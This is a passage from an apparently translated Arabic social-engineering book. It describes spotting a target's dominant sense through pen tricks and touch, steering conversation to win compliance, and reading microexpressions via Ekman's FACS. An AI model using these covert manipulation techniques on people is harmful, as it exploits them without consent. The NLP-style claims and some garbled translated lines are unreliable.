‫ﺑﺳﯾطﺎ ﻣﺛل‪" :‬اﻻ ﺗﺣب ان ﺗﺷﻌر ﺑﯾوم ﺟﻣﯾل ﻣﺛل ھذا اﻟﯾوم؟" ﺛم ﻧﻼﺣظ اﺳﺗﺟﺎﺑﺗﮫ‪ ،‬ﻻ ﺳﯾﻣﺎ إذا ﻛﺎﻧت ﺗﺑدو ﻟﺗﺿﻲء أم ﻻ‪.‬‬
‫رﺑﻣﺎ ﺗرﺗدى ﺧﺎﺗم ﻻﻣﻊ ﻣن اﻟﻔﺿﺔ ﻛﺑﯾر‪ .‬ﻋﻧدﻣﺎ ﺗﺗﺣدث ﯾﻠﻔت ﻧظره‪ .‬رﺑﻣﺎ ﺗرى أن اﻟﺧﺎﺗم ﻗد ﺣﺎز ﻋﻠﻰ اﻋﺟﺎﺑﮫ‪ .‬ھل ھو ﻣﮭﺗم ﺑﮫ‪ ،‬ﻗد ﯾﺣﺗﺎج إﻟﻰ‬
‫ﺣﻣﻠﮫ أو اﻻﻗﺗراب ﻣﻧﮫ ﻟﻣﻼﺣظﺗﮫ؟ اﻟﻣﻔﻛر اﻟﺣرﻛﻲ ﺣﺳﺎس ﺟدا‪ ،‬ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﮭذه اﻷﺷﯾﺎء‪ .‬أﻋرف اﻣرأة ذات ﺗﻔﻛﯾر ﺣرﻛﻲ ﻗوي وﻋﻧدﻣﺎ‬
‫ﺗرى ﺷﻲء ﺗﻔﻛر ھل ھﻲ ﻧﺎﻋﻣﮫ وذات ﺟودة ﻋﺎﻟﯾﺔ أو أﻧﮭﺎ ﯾﺟب أن ﺗﻠﻣﺳﮫ‪ .‬وإﻧﮭﺎ ﺳوف ﺗﻘول‪" ،‬واو‪ ،‬ھذا اﻟﺟﺎﻛت ﯾﺑدو ﻧﺎﻋﻣﺎ ﺟدا!" ﻣن ھذا‬
‫اﻟﺑﯾﺎن ﯾﻣﻛن ﻟﻠﻣرء أن ﯾﻔﺗرض اﻧﮭﺎ ﺑﺻرﯾﺔ‪ ،‬وﻟﻛن ﻣﺎ ﯾﺣدث ﺑﻌد ذﻟك‪ .‬إﻧﮭﺎ ﺗﻣﺷﻲ ﻧﺣو اﻟﺟﺎﻛت وﺗﻠﻣﺳﮫ وﺗﺷﻌر ﺑﯾﮫ‪ .‬ھذا ﯾدل ﻋﻠﻰ أن اﻹﺣﺳﺎس‬
‫اﻟﻣﮭﯾﻣن ھو ﺣرﻛﻲ‪ .‬ﻧﻔس اﻻﻣرأة ﯾﺟب ﻋﻠﯾﮭﺎ أن ﺗﻠﻣس ﻛل ﺷﻲء ﻓﻲ ﻣﺣل ﺑﻘﺎﻟﺔ ﻋﻧدﻣﺎ ﺗﻘوم ﺑﺎﻟﻣﺗﺎﺟرة ﻋﻣﺎ إذا ﻛﺎﻧت ﺗﺣﺗﺎج إﻟﯾﮫ أم ﻻ‪ .‬ﻋن‬
‫طرﯾﻖ ﻟﻣس اﻷﺷﯾﺎء‪ ،‬ﻓﺎن ھذا ﯾﺟﻌل اﺗﺻﺎل ھذا اﻻﺗﺻﺎل ﯾﺟﻌل ﻣﻧﮫ ﺣﻘﯾﻘﯾﺔ‪ .‬ﻓﻲ ﻛﺛﯾر ﻣن اﻷﺣﯾﺎن أﻧﮭﺎ ﻻ ﺗﺳﺗطﯾﻊ ﺗذﻛر اﻷﺷﯾﺎء ﺟﯾدا أﻧﮭﺎ ﻟم‬
‫ﺗﺗﻼﻣس ﺑﮭﺎ‪.‬‬
‫طرح اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗﺣﺗوي ﻋﻠﻰ ﺑﻌض اﻟﻛﻠﻣﺎت اﻟرﺋﯾﺳﯾﺔ اﻟﻣﮭﯾﻣﻧﺔ‪ ،‬وﻣراﻗﺑﺔ ردود اﻟﻔﻌل ﻋﻠﻰ اﻟﮭدف‪ ،‬واﻻﺳﺗﻣﺎع ﯾﻣﻛن أن ﺗﻛﺷف ﻣﺎ اﻻﺣﺳﺎس‬
‫اﻟﺳﺎﺋد اﻟذي ﯾﺳﺗﺧدﻣﮫ‪ .‬اﻻﺳﺗﻣﺎع ﻟﻛﻠﻣﺎت رﺋﯾﺳﯾﺔ ﻣﺛل اﻧظر‪ ،‬اﺳﺗرق اﻟﻧظر‪ ،‬ﻣﺷرق‪ ،‬ﻣظﻠم ﯾﻣﻛن ان ﺗﻘودك ﻟﻌﻼج ھدﻓﺎ ﻋﻠﻰ اﻧﮫ ﺑﺻرﯾﺔ‪ .‬ﻛﻣﺎ‬
‫ذﻛر ﻓﻲ وﻗت ﺳﺎﺑﻖ ھذا ﻟﯾس ﻋﻠﻣﺎ دﻗﯾﻘﺎ‪ .‬ﻟﯾس ھﻧﺎك ﻗﺎﻋدة ﻋﺎﻣﺔ ﺗﻧص ﻋﻠﻰ إذا ﻛﺎن اﻟﺷﺧص ﯾﻘول‪" :‬أﺳﺗطﯾﻊ أن أرى ﻣﺎ ﺗﻘول ‪ "...‬ﻓﮭو داﺋﻣﺎ‬
‫ﺑﺻري‪ .‬ﻛل ﻓﻛرة ﯾﺟب أن ﺗﻘودك اﻟﻰ اﻟطرﯾﻖ ﻧﺣو ﺗﺣﻘﻖ ﻣن اﻟﺣدس اﻟﺧﺎص ﺑك ﻣﻊ اﻟﻣزﯾد ﻣن اﻷﺳﺋﻠﺔ أو اﻟﺗﺻرﯾﺣﺎت‪ .‬ﻛﻠﻣﺔ واﺣدة ﻣن‬
‫اﻟﺣذر‪ :‬اﻟﺗﺣدث اﻟﻰ ﺷﺧص ﻣﺎ ﻓﻲ وﺿﻊ ﻣﺧﺗﻠف ﻋﻣﺎ ﯾﻔﻛرون ﻗد ﺗﻛون ﻣزﻋﺟﺔ ﻟﻠﺑﻌض‪ .‬اﺳﺗﺧدام اﻷﺳﺋﻠﺔ ﻟﺗﺣدﯾد وﺿﻊ اﻟﺷﺧص ﻣن اﻟﺗﻔﻛﯾر‬
‫ﯾﻣﻛن أن ﯾوﻗﻔﮫ‪ .‬اﺳﺗﺧدام اﻷﺳﺋﻠﺔ ﻗﻠﯾﻼ‪ ،‬وﻣن ﺛم اﻋﺗﻣد أﻛﺛر ﻋﻠﻰ اﻟﻣﻼﺣظﺔ‪.‬‬
‫ﻟﻤﺎذا ھﻮ ﻣﮭﻢ ﻓﮭﻢ اﻟﻮﺿﻊ )‪(Why Understanding the Mode Is Important‬‬
‫ﻋﻣﻠت ذات ﻣرة ﻣﻊ رﺟل ﯾدﻋﻰ‪ ،‬ﺗوﻧﻲ‪ ،‬واﻟذي ﻛﺎن ﺑﺈﻣﻛﺎﻧﮫ أن ﯾﺑﯾﻊ ﻛوب ﻣن اﻟﻣﺎء ﻟرﺟل ﻏﺎرق‪ .‬ﺗوﻧﻲ ﻛﺎن ﻣؤﻣن ﺑﺎﻟﺳﻌﻲ وﻣن ﺛم اﺳﺗﺧدام‬
‫إﺣﺳﺎس اﻟﺷﺧص اﻟﻣﮭﯾﻣن ﻓﻲ اﻟﻣﺑﯾﻌﺎت‪ .‬ﻛﺎن ﻟدﯾﮫ ﻋدد ﻗﻠﯾل ﻣن اﻟطرق اﻟﺗﻲ اﺳﺗﺧدﻣﮭﺎ واﻟﺗﻲ ﻣن اﻟﻣﻣﻛن أن ﻧﺗﻌﻠم ﻣﻧﮭﺎ‪ .‬ﻋﻧدﻣﺎ ﺗﻌﺎﻣل ﻣﻊ‬
‫اﻟﮭدف ﻷول ﻣرة ﻓﻛﺎن ﻟدﯾﮫ ﻗﻠم ﻻﻣﻌﺔ ﺟدا ﻣطﻌم ﺑﺎﻟﻔﺿﺔ واﻟذھب وﻛﺎن ﯾﻣﺳك ﺑﮫ ﻓﻲ ﯾده‪ .‬ﺛم ﺣﺎول ﻟﻔت اﻧﺗﺑﺎه ﺑﮭذا اﻟﻘﻠم وﺑﻌد ذﻟك ﻗﺎم ﺑﻣﻼﺣظﺔ‬
‫ﻣﺎ إذا ﻛﺎن اﻟﺷﺧص اﻟﮭدف ﯾﺗﺑﻊ اﻟﻘﻠم ﻣن ﺧﻼل ﻋﯾﻧﮫ‪ .‬إذا ﻓﻌل ﻓﺎن ﺗوﻧﻲ ﻣن ﺷﺄﻧﮫ أن ﯾﺳﺗﻣر ﻓﻲ ﻟﻔت ﻧظره ﺑﺻورة أﻛﺑر ﻟﻣﻌرﻓﺔ ﻣﺎ إذا اﺳﺗﻣرت‬
‫ﻋﯾﻧﮫ ﻓﻲ ﻣﺗﺎﺑﻌﺔ اﻟﻘﻠم‪ .‬إذا ﻟم ﯾﻌﻣل ھذا ﻓﻲ اﻟﺛواﻧﻲ اﻟﻘﻠﯾﻠﺔ اﻷوﻟﻰ ﻓﻘم ﺑﺎﻟﻧﻘر ﻋﻠﻰ اﻟﻘﻠم ﺑﻔﺗﺣﮫ وﻏﻠﻘﺔ‪ .‬ﻟم ﯾﻛن ذات ﺿوﺿﺎء ﻋﺎﻟﯾﺎ‪ ،‬وﻟﻛﻧﮫ ﻋﺎل ﺑﻣﺎ‬
‫ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﺗﻌطﯾل اﻟﻔﻛر وﻟﻔت اﻧﺗﺑﺎه اﻟﺷﺧص إذا ﻛﺎن ﻣﻔﻛر‪ .‬إذا ﻛﺎن ﯾﻌﺗﻘد أﻧﮫ ﯾﻌﻣل ﻓﻘم ﺑﺎﻟﻧﻘر ﺑﺎﻟﻘﻠم ﻣﻊ ﻛل ﻓﻛر ﻣﮭﻣﮫ‪ ،‬ﻣﻣﺎ ﯾﺗﺳﺑب ﻓﻲ أن‬
‫ﯾﻛون ﻟﻠﮭدف رد ﻓﻌل ﻧﻔﺳﻲ ﻋﻠﻰ ﺻوت وﻋﻠﻰ ﻣﺎ ﻛﺎن ﯾﻘﺎل‪ .‬إذا ﻛﺎن ھذا ﻻ ﯾﻌﻣل ﻓﻛﺎن اﻟﺗواﺻل ﻋﻠﻰ طﺎوﻟﺔ واﻻﺳﺗﻔﺎدة ﻣن ﻣﻌﺻﻣﮫ أو‬
‫اﻟﺳﺎﻋد‪ ،‬أو إذا ﻛﺎن ﻗرﯾﺑﺎ ﺑﻣﺎ ﯾﻛﻔﻲ ﯾﻘوم ﺑﻠﻣس ﻛﺗﻔﮫ‪ .‬اﻧﮫ ﻟم ﯾﻠﻣس ﺑﺷﻛل ﻣﻔرط‪ ،‬وﻟﻛن ﯾﻛﻔﻲ أن ﻧرى ﻣﺎ إذا ﻛﺎﻧت ﺳوف ﯾﺧﺟل أو ﯾﺑدو ﺳﻌﯾدا‬
‫ﺑﺷﻛل ﻣﻔرط أو ﻣﻧزﻋﺞ ﻣن اﻟﻠﻣس‪.‬‬
‫ﻣﻊ ھذه اﻷﺳﺎﻟﯾب اﻟﺧﻔﯾﺔ ﯾﻣﻛن ان ﻧﺳﺗﺷف ﺑﺳرﻋﺔ ﻋﻠﻰ اﻷرﺟﺢ ﻣﺎ ﻛﺎن ﺷﻌور اﻟﺷﺧص اﻟﻣﮭﯾﻣن‪ .‬ان ھذا اﻟﻌﻣل ﻛﻠﮫ ﯾﺄﺧذ أﻗل ﻣن ‪ 60‬ﺛﺎﻧﯾﺔ‪ .‬ﺑﻌد‬
‫أن وﺟد اﻟﻣﻌﻠوﻣﺎت اﻟذي ﯾﺑﺣث ﻋﻧﮭﺎ‪ ،‬ﻓﺎﻧﮫ ﺑﻌد ذﻟك ﯾﺑدأ ﻓﻲ ﺗﺣرك اﻟﻣﺣﺎدﺛﺔ اﺗﺟﺎه اﻟﺷﻌور اﻟﺳﺎﺋد‪ ،‬ﺣﺗﻰ ﻟو ﻛﺎن اﻟﺗﺣدث ﻋﻠﻰ ﺳﻣﺎت ھذا اﻟﺷﻌور‬
‫ﺑﺎﺳﺗﺧدام اﻟﻛﻠﻣﺎت واﻟطرﯾﻘﺔ اﻟﺗﻲ ﯾﺗﺻرف ﺑﮭﺎ وﯾﺗﻔﺎﻋل ﺑﮭﺎ ﻣﻊ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﺷﻲء واﺣد ﻋن ﺗوﻧﻲ ھو أن ﺑﺈﻣﻛﺎﻧﮫ ان ﯾﺑﯾﻊ ﻷي ﺷﺧص اﻟذﯾن ﻗﺎﺑﻠﮭم‬
‫ﻓﻲ ﺣﯾﺎﺗﮫ‪ .‬ﻛﺎن اﻟﻧﺎس ﻛﺛﯾرا ﻣﺎ ﯾﻘوﻟون ﻋﻧﮫ‪" :‬اﻧﮫ ﯾﻌرف ﺑﺎﻟﺿﺑط ﻣﺎ ﯾﺣﺗﺎﺟﮫ"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪825‬‬

‫ﺗوﻧﻲ ﻗﺎم ﺑﺎﻟﺗﺣدث اﻟﻰ ﺷﺧص وﻋﻼج طرﯾﻘﺔ اﻟﺷﺧص واﻟﺗﻲ ﯾرﯾدھﺎ ﻋﻧد اﻟﺗﺣدث إﻟﯾﮫ‪ .‬إذا ﻛﺎن اﻟﺷﺧص ﻣﻔﻛر اﻟﺑﺻرﯾﺔ‪ ،‬ﻓﺈن ﺗوﻧﻲ اﺳﺗﺧدام‬
‫ﻋﺑﺎرات ﻣﺛل "ھل ﺗرى ﻣﺎ أﻗوﻟﮫ؟" أو "ﻛﯾف ﺗﻧظر إﻟﻰ ھذا؟”‪ ،‬اﺳﺗﺧدام اﻟرﺳوم اﻟﺗوﺿﯾﺣﯾﺔ اﻟﺗﻲ ﺗﻧطوي ﻋﻠﻰ "رؤﯾﺔ" اﻷﺷﯾﺎء أو ﺗﺻوﯾر‬
‫اﻟﺳﯾﻧﺎرﯾوھﺎت‪ .‬ﻟﻘد وﺿﻊ اﻟﻧﺎس ﻓﻲ ﻣﻧطﻘﺔ اﻟراﺣﺔ اﻟﺧﺎﺻﺔ ﺑﮭم‪.‬‬
‫ﯾﺷﻌر اﻟﻧﺎس ﺑﺎﻟراﺣﺔ ﻋﻧدﻣﺎ ﯾﻛون ﻓﻲ ﻣﻧطﻘﺔ اﻟراﺣﺔ اﻟﺧﺎﺻﺔ ﺑﮫ‪ .‬ﻛﻠﻣﺎ ﻛﺎن ﻓﻲ ﻣﻘدرﺗك ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ وﺿﻊ اﻟﻧﺎس ﻓﻲ ﻣﻧطﻘﺔ اﻟراﺣﺔ‬
‫اﻟﺧﺎﺻﺔ ﺑﮭم‪ ،‬ﻓﺎن ﻟدﯾك ﻓرﺻﺔ أﻓﺿل ﻟﻠﻧﺟﺎح‪ .‬اﻟﻧﺎس ﺗﻧﺟذب ﻧﺣو اوﻟﺋك اﻟذﯾن ﯾﺟﻌﻠﮭم ﻣرﯾﺣون‪.‬‬
‫أرﯾد أن أﻛرر ھذه اﻟﻧﻘطﺔ‪ :‬إﯾﺟﺎد واﺳﺗﺧدام اﻟﺷﻌور اﻟﻣﮭﯾﻣن ﻟﺷﺧص ﻣﺎ ﻟﯾس ﻋﻠﻣﺎ دﻗﯾﻘﺎ‪ .‬ﻛﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب اﺳﺗﺧداﻣﮫ ﺑﻣﺛﺎﺑﺔ أداة ﻓﻲ‬
‫ﺗرﺳﺎﻧﺔ وﻋدم اﻻﻋﺗﻣﺎد ﻋﻠﯾﮫ أﻧﮭﺎ ﺷﻲء ﺳﺣري أو ﻋﻠﻣﻲ‪ .‬ﺗﺳﺗﻧد ﺑﻌض اﻟﺟواﻧب اﻟﻧﻔﺳﯾﺔ ﻟﻠطﺑﯾﻌﺔ اﻟﺑﺷرﯾﺔ ﻋﻠﻰ اﻟﻌﻠم اﻟﻣﺛﺑت وﯾﻣﻛن اﻻﻋﺗﻣﺎد‬
‫ﻋﻠﯾﮫ‪.‬‬

‫)ﺗﻌﺑﯾرات اﻟوﺟﮭﺔ( ‪Microexpressions‬‬

‫إذا ﻛﻧت ﺗرﯾد أن ﺗﻌرف ﻣﺎ ھو ﺷﻌور ﺷﺧص ﻣﺎ ﯾﺟب أن ﺗراﻗب اﻟﺗﻐﯾﯾرات اﻟﻣؤﻗﺗﺔ ﻓﻲ وﺟﮭﮫ‪.‬‬
‫د‪.‬ﺑول إﯾﻛﻣﺎن‬
‫رﺑﻣﺎ ﺗﻛون ﻋﻠﻰ دراﯾﺔ ﺑﻔﻛرة ﻗراءة ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ .‬ﻋﻧدﻣﺎ ﯾﻛون اﻟﺷﺧص ﺳﻌﯾدا‪ ،‬ﺣزﯾﻧﺎ‪ ،‬ﻏﺎﺿب‪ ،‬أو أﯾﺎ ﻛﺎن‪ ،‬ﻋﻧدﻣﺎ ﯾﺷﻌر ﺷﺧص ﻣﺎ ﯾﻣﻛﻧك‬
‫اﻟﻧظر ﻓﻲ وﺟﮭﮫ وﺗرى ھذه اﻟﻌﺎطﻔﺔ‪ .‬ﻣﺎذا إذا ﻛﺎن ﺷﺧص ﯾﺣﺎول إظﮭﺎر ﺗﻌﺎﺑﯾر وھﻣﯾﺔ‪ ،‬ﻣﺛل اﺑﺗﺳﺎﻣﺔ ﻣزﯾﻔﺔ؟ ﻟﻘد ﻓﻌﻠﻧﺎ ھذا‪ ،‬اﻟﺗﺳوق ﻓﻲ اﻟﺳوق‬
‫وﻣن ﺛم ﺣدث وﺗﺻﺎدﻣت ﺑﺷﺧص ﻣﺎ وأﻧت ﻻ ﺗﺣب ھذا وﻟﻛﻧك ﺗﻘوم ﺑوﺿﻊ "اﺑﺗﺳﺎﻣﺔ"‪.‬‬
‫ﯾﻣﻛﻧﻧﺎ أن ﻧﻌﻣل ﺑﻠطف وود‪ ،‬وﻟﻛن ﺑداﺧﻠﻧﺎ ﻻ ﻧﺷﻌر ﺑذﻟك ﺳوى ﺑﺎﻟﺣرﻗﺎن‪ .‬وطﻠﻖ ﻋﻠﻰ اﻟﺗﻌﺑﯾرات اﻟﺗﻲ ﻧظﮭر ﻋﻠﯾﮭﺎ ﻟﻔﺗرات أطول ﻣن اﻟوﻗت‬
‫ﻋﻠﻰ وﺟوھﻧﺎ‪ . macroexpressions‬ﻋﻠﻰ ﻏرار‪ macroexpressions، microexpressions‬ﯾﻣﻛن اﻟﺗﺣﻛم ﻓﯾﮫ ﺑواﺳطﺔ ﻋواطﻔﻧﺎ‪،‬‬
‫وﻟﻛﻧﮫ ﻟﯾس ﻻ إرادي )‪ ،(involuntary‬وﻏﺎﻟﺑﺎ ﻣﺎ ﯾﻛون ﻣزور‪.‬‬
‫‪ Microexpressions‬ھﻲ اﻟﺗﻌﺎﺑﯾر اﻟﺗﻲ ﻻ ﯾﻣﻛن اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ ﺑﺳﮭوﻟﺔ وﺗﺣدث ﻧﺗﯾﺟﺔ رد ﻓﻌل ﻋﻠﻰ اﻟﻌواطف‪ .‬اﻟﻣﺷﺎﻋر ﺗﺛﯾر ﺑﻌض ردود‬
‫اﻟﻔﻌل ﻟﻌﺿﻼت اﻟوﺟﮫ وﺗﺳﺑب ھذه اﻟﺗﻔﺎﻋﻼت ﺑﻌض اﻟﻌﺑﺎرات ﻟﺗظﮭر‪ .‬ﻣرات ﻋدﯾدة ھذه اﻟﺗﻌﺑﯾرات ﺗظﮭر ﻟوﻗت ﻗﺻﯾر ﺟزء ﻣن اﻟﺛﺎﻧﯾﺔ واﺣد‪.‬‬
‫وذﻟك ﻷﻧﮭﺎ ﺣرﻛﺎت ﻋﺿﻠﯾﺔ ﻻ إرادﯾﺔ ﺑﺳﺑب ردود ﻓﻌل اﺗﺟﺎه ﻋﺎطﻔﯾﺔ ﻣﺎ‪ ،‬ﺣﯾث ﻣن اﻟﻣﺳﺗﺣﯾل اﻟﺳﯾطرة ﻋﻠﯾﮭﺎ ﺗﻘرﯾﺑﺎ‪ .‬ھذا اﻟﺗﻌرﯾف ﻟﯾس ﻓﮭﻣﺎ‬
‫ﺟدﯾدا‪ .‬ﺣﯾث ان ﺗﺷﺎرﻟز داروﯾن أﻟف ﻛﺗﺎﺑﺎ ﻓﻲ ﻋﺎم ‪ 1872‬ﯾدﻋﻰ‪ .Expression of the Emotions in Man and Animals ،‬ﻓﻲ ھذا‬
‫اﻟﻛﺗﺎب أﺷﺎر داروﯾن اﻟطﺑﯾﻌﺔ اﻟﻌﺎﻟﻣﯾﺔ ﻟﺗﻌﺎﺑﯾر اﻟوﺟﮫ وﻛﯾف ﯾﺗم اﺳﺗﺧدام اﻟﻌﺿﻼت ﻓﻲ ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪.‬‬
‫ﻓﻲ أواﺋل ‪ 1960‬اﺛﻧﯾن ﻣن اﻟﺑﺎﺣﺛﯾن‪ ،‬ھﺎﻏﺎرد واﯾزاك‪ ،‬اﻛﺗﺷﻔت ﻷول ﻣرة ﻣﺎ ﯾﺳﻣﻰ اﻟﯾوم ‪ .microexpressions‬ﻓﻲ ﻋﺎم ‪ ،1966‬ھﺎﻏﺎرد‬
‫واﯾزاك ﺑﯾﻧوا ﻛﯾف اﻛﺗﺷﻔوا ھذه اﻟﺗﻌﺑﯾرات "‪ "micromomentary‬ﻓﻲ ﻣﻧﺷور ﺑﻌﻧوان‪ ،‬ﺗﻌﺑﯾرات اﻟوﺟﮫ ‪ Micromomentary‬ﻋﻠﻰ أﻧﮭﺎ‬
‫ﻣؤﺷرات ﻵﻟﯾﺎت اﻟﻣظﮭر اﻟﻧﻔﺳﻲ ﻟﻠﺷﺧص )‪ (ego‬ﻓﻲ اﻟﻌﻼج اﻟﻧﻔﺳﻲ‪.‬‬
‫أﯾﺿﺎ ﻓﻲ ‪ ،1960‬وﯾﻠﯾﺎم ﻛوﻧدون‪ ،‬أﺳﺗﺎذ ﻗﺎم ﺑدراﺳﺔ ﺳﺎﻋﺎت ﻣن اﻷﺷرطﺔ إطﺎر إطﺎر‪ ،‬اﻛﺗﺷف أن اﻟﺑﺷر ﻟﮭم "ﺣرﻛﺎت دﻗﯾﻘﺔ"‪ .‬ﻛﻣﺎ ﻗدم ﺑﺣوث‬
‫ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻌﺻﺑﯾﺔ )‪ (neurolinguistic programming‬وﻟﻐﺔ اﻟﺟﺳد‪.‬‬
‫ﻋﻠﻰ اﻻرﺟﺢ واﺣدة ﻣن اﻟﺑﺎﺣﺛﯾن اﻷﻛﺛر ﻧﻔوذا ﻓﻲ ﻣﺟﺎل ‪ microexpressions‬ھو اﻟدﻛﺗور ﺑول أﯾﻛﻣن‪ .‬اﻟدﻛﺗور أﯾﻛﻣن راﺋدة ﻓﻲ ﻋﻠم‬
‫‪ microexpressions‬اﻟذي ھو ﻋﻠﯾﮫ اﻟﯾوم‪ .‬اﻟدﻛﺗور أﯾﻛﻣن اﺗم دراﺳﺔ ‪ microexpressions‬ﻷﻛﺛر ﻣن ‪ 40‬ﻋﺎﻣﺎ‪ ،‬وﺣﺻل ﻋﻠﻰ ﺟﺎﺋزة‬
‫ﺑﺣوث اﻟﻌﻠﻣﺎء ﻓﺿﻼ ﻋن ﻛوﻧﮭﺎ وﺻﻔت ﻓﻲ ﻣﺟﻠﺔ ﺗﺎﯾم ﻋﻠﻰ أﻧﮫ اﻟﺷﺧص اﻷﻛﺛر ﺗﺄﺛﯾرا ﻋﻠﻰ اﻷرض ﻓﻲ ﻋﺎم ‪.2009‬‬
‫ﻗﺎم اﻟدﻛﺗور أﯾﻛﻣن ﺑﺎﻟﺑﺣث ﻋن ﺗﻌﺎﺑﯾر اﻟوﺟﮫ ﻣﻊ ﻋﺎﻟم اﻟﻧﻔس ﺳﯾﻠﻔﺎن ﺗوﻣﻛﯾﻧز‪ .‬ﻛﺷﻔت أﺑﺣﺎﺛﮫ أﻧﮫ‪ ،‬ﺧﻼﻓﺎ ﻟﻼﻋﺗﻘﺎد اﻟﺳﺎﺋد‪ ،‬أن اﻟﻌواطف ﻻ ﯾﺗم‬
‫ﺗﺣدﯾدھﺎ ﻣن اﻟﻧﺎﺣﯾﺔ اﻟﺛﻘﺎﻓﯾﺔ‪ ،‬وﻟﻛن ﻋﺎﻟﻣﯾﺎ ﻋﺑر اﻟﺛﻘﺎﻓﺎت واﻟﺑﯾوﻟوﺟﯾﺔ‪.‬‬
‫ﻓﻲ ‪ 1980‬طور اﻟدﻛﺗور أﯾﻛﻣن ﻣﺷروع ﯾﺳﻣﻰ ‪ (Facial Action Coding System) FACS‬ﻟﺗﺳﻣﯾﺔ وﺗرﻗﯾم ﻛل اﻟﺗﻌﺎﺑﯾر اﻟﺑﺷرﯾﺔ اﻟﺗﻲ‬
‫ﯾﻣﻛن ﺗﺻورھﺎ‪ .‬ﻋﻣﻠﮫ ﻟم ﯾﺷﻣل ﻓﻘط ﺗﻌﺑﯾرات اﻟوﺟﮫ وﻟﻛﻧﮫ أﯾﺿﺎ ﻛﯾف ﯾﻛون اﻟﺟﺳم ﻛﻠﮫ ﻣﺗورطﺎ ﻓﻲ اﻟﺧداع‪.‬‬
‫‪Just the (Facial Action Coding System) FACS‬‬
‫ﺑﻌد أن أﻣﺿﻰ ﺳﻧوات ﻋدﯾدة ﻓﻲ اﻟﺑﺣث ﻋن ﺗﻌﺎﺑﯾر اﻟوﺟﮫ‪ ،‬ﺗﻌﺎون اﻟدﻛﺗور أﯾﻛﻣن ﻣﻊ اﻟدﻛﺗور ﻓرﯾزﯾن ﻓﻲ ‪ .1980‬أﻧﺷﺄوا ﻧظﺎﻣﺎ ﻟﺗﻌﯾﯾن ﺣرﻛﺎت‬
‫اﻟﻌﺿﻼت ﻓﻲ اﻟوﺟﮫ وﺻﻧﻔت ﺑﺎﺳﺗﺧدام وﺣدات اﻟﻌﻣل)‪ . (AUs‬إﻧﮭم ﯾﻌﺗﻘدون أﻧﮫ ﻣن ﺧﻼل ﺗﻌﻠم ﻛﯾﻔﯾﺔ ﺗﺣدﯾد اﻟﻌﺿﻼت اﻟﺗﻲ ﯾﺗم اﺳﺗﺧداﻣﮭﺎ‬
‫ﻹﻧﺷﺎء ﺗﻌﺑﯾر اﻟوﺟﮫ‪ ،‬ﯾﻣﻛﻧﻧﺎ أن ﻧﺑدأ ﻓﻲ رؤﯾﺔ أﺻﻐر ﻣﺣﺗوى ﻋﺎطﻔﻲ‪.‬‬
‫ﺑﻌد أﻛﺛر ﻣن ‪ 30‬ﺳﻧوات ﻣن اﻻﺳﺗﺧدام‪ ،‬أﺻﺑﺢ ﻧظﺎم اﻟﺗرﻣﯾز ﻋﻣل اﻟوﺟﮫ )‪ (FACS‬ﻣﻌﯾﺎرا ﻓﻲ ھذا اﻟﻣﺟﺎل ﻣن اﻟدراﺳﺔ‪.‬‬
‫‪ AUs‬ﯾﻣﻛن دراﺳﺗﮭﺎ ﻣن ﺧﻼب ﻣﺟﻣوﻋﺎت‪ .‬ﺗﻘوم اﻟﻣﺟﻣوﻋﺎت ﻋﻠﻰ أﺳﺎس اﻟﻣوﻗﻊ و‪/‬أو ﻧوع اﻟﻌﻣل اﻟﻣﺿﻣن‪ .‬أوﻻ‪ AUs ،‬ﻓﻲ اﻟوﺟﮫ اﻟﻌﻠوي‬
‫ﺗﻛون ﻣﻌﻠﻣﮫ وﻣدروﺳﺔ‪ ،‬واﻟﺗﻲ ﺗؤﺛر ﻋﻠﻰ اﻟﺣﺎﺟﺑﯾن واﻟﺟﺑﮭﺔ واﻟﺟﻔون‪ .‬ﺛم‪ ،‬ﯾﺗم ﻋرض ‪ AUs‬اﻟوﺟﮫ اﻟﺳﻔﻠﻲ واﻟﺗﻲ ﯾﺗم ﺗﻣﺛﯾﻠﮭﺎ ﻓﻲ ﺧﻣس‬
‫ﻣﺟﻣوﻋﺎت‪ :‬أﻋﻠﻰ‪/‬أﺳﻔل‪ ،‬أﻓﻘﻲ‪ ،‬ﻣﻧﺣرف‪ ،‬ﻣداري‪ ،‬وإﺟراءات ﻣﺗﻧوﻋﺔ‪ .‬ﺑﻌد ﺗﻌﻠﯾم ﻛل ﻣﺟﻣوﻋﺔ‪ ،‬ﯾﻣﻛﻧك ﻣﻣﺎرﺳﺔ ﺗﺳﺟﯾل ﺳﻠوك اﻟوﺟﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪826‬‬

‫‪ FACS‬ﯾﻔﺳر ﻛل ‪ AU‬ﻣﻊ ﺛﻼث أﻓﻛﺎر رﺋﯾﺳﯾﺔ‪:‬‬

‫‪ -‬ﺗﻐﯾﯾرات اﻟﻣظﮭر‬
‫‪ -‬ﻛﯾﻔﯾﺔ إﻋﺎدة اﻧﺗﺎج ‪.AU‬‬
‫‪ -‬ﺗﺳﺟﯾل ﺷدة ‪.AU‬‬
‫ﺣرﻛﺔ اﻟﻌﺿﻼت ﯾﺗم ﺗﻘﺳﯾﻣﮭﺎ إﻟﻰ ‪ AU‬واﻟﺗﻲ ﺗﺻف ﻣﺎ ھﻲ اﻟﻌﺿﻠﺔ اﻟﺗﻲ ﻧﺷطت ﻹﻧﺷﺎء ھذا اﻟﺗﻌﺑﯾر‪ .‬ﻋﻣل أﯾﻛﻣن ﻓﻲ اﻟدراﺳﺎت اﻟﻌﺎطﻔﯾﺔ‬
